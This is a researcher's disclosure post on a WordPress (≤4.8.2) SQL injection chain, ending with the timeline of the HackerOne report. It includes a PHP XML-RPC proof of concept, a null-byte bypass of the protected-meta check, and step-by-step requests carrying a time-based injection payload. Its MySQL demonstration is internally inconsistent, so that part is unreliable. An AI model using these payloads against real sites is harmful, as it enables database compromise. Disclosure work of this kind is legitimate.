Author: Ambulong@vulspyI found this vulnerability after reading [slavco’s post](https://medium.com/websec/wordpress-sqli-bbb2afcc8e94), and reported it to WordPress Team via Hackerone on Sep. 2nd, 2017. But, unfortunately, WordPress team didn’t pay attention to this report too.# SQL Injection Details[Wordpress SQLi by slavco](https://medium.com/websec/wordpress-sqli-bbb2afcc8e94)[Wordpress SQLi — PoC by slavco](https://medium.com/websec/wordpress-sqli-poc-f1827c20bf8e)[Wordpress SQLi — how to find by slavco](https://medium.com/websec/wordpress-sqli-how-to-find-ebee713457e4)[Disclosure: WordPress WPDB SQL Injection – Technical by ircmaxell](https://blog.ircmaxell.com/2017/10/disclosure-wordpress-wpdb-sql-injection-technical.html)# POC DetailsIf you already found out the potential sqli in wordpress, you would know that we need to insert our playload into `_thumbnail_id` meta in order to launch the sqli attack.## WordPress ≤ 4.7.4 Lack of capability checks for post meta data in the XML-RPC APIThis vulnerability have mentioned in slavco’s post: [Wordpress SQLi](https://medium.com/websec/wordpress-sqli-bbb2afcc8e94)Reference: [WordPress 4.7.5 Security and Maintenance Release](https://wordpress.org/news/2017/05/wordpress-4-7-5/)### poc $usr = 'author'; $pwd = 'author'; $xmlrpc = 'http://local.target/xmlrpc.php'; $client = new IXR_Client($xmlrpc); $content = array("ID" => 6, 'meta_input' => array("_thumbnail_id"=>"xxx")); $res = $client->query('wp.editPost',0, $usr, $pwd, 6/*post_id*/, $content);### WordPress ≤ 4.8.2 POST Meta Protection BypassA trick of Mysql1). A normal query for _thumbnail_id mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id'; +———+———+—————-+————+ | meta_id | post_id | meta_key | meta_value | +———+———+—————-+————+ | 4 | 4 | _thumbnail_id | TESTC | +———+———+—————-+————+ 1 row in set (0.00 sec)2). Change the meta_value of _thumbnail_id to “\x00_thumbnail_id” mysql> update wp_postmeta set meta_key = concat(0x00,'TESTC') where meta_value = '_thumbnail_id'; Query OK, 0 rows affected (0.00 sec) Rows matched: 0 Changed: 0 Warnings: 03). Query by _thumbnail_id again mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id'; +———+———+—————-+————+ | meta_id | post_id | meta_key | meta_value | +———+———+—————-+————+ | 4 | 4 | _thumbnail_id | TESTC | +———+———+—————-+————+ 1 row in set (0.00 sec)### POST Meta Protection BypassThis is the `is_protected_meta`([./wp-includes/meta.php](https://github.com/WordPress/WordPress/blob/bbb8d48086b7d10908f4fda673585ee122f2851d/wp-includes/meta.php#L920)) method used to check the validation of post meta: function is_protected_meta( $meta_key, $meta_type = null ) { $protected = ( '_' == $meta_key[0] ); /** * Filters whether a meta key is protected. * * [@since](/since) 3.2.0 * * [@param](/param) bool $protected Whether the key is protected. Default false. * [@param](/param) string $meta_key Meta key. * [@param](/param) string $meta_type Meta type. */ return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type ); }The code just checks the first character of `$meta_key`, from the mysql trick, we can use `%00_` to bypass it.### POC1. Add New Custom Field, Name:`_thumbnail_id` Value:`55 %1$%s or sleep(10)#`1. Click `Add Custom Field` button.1. Modify the HTTP request, `_thumbnail_id => %00_thumbnail_id`1. Launch the attack. Visit `/wp-admin/edit.php?action=delete&_wpnonce=xxx&ids=55 %1$%s or sleep(10)#`.### Time-line:Sep. 2th I report the vulnerability to WP Team via Hackerone.Sep. 6th WP Team ask for details.Sep. 6th I post the details.Sep. 6th to now I haven’t received any response yet…
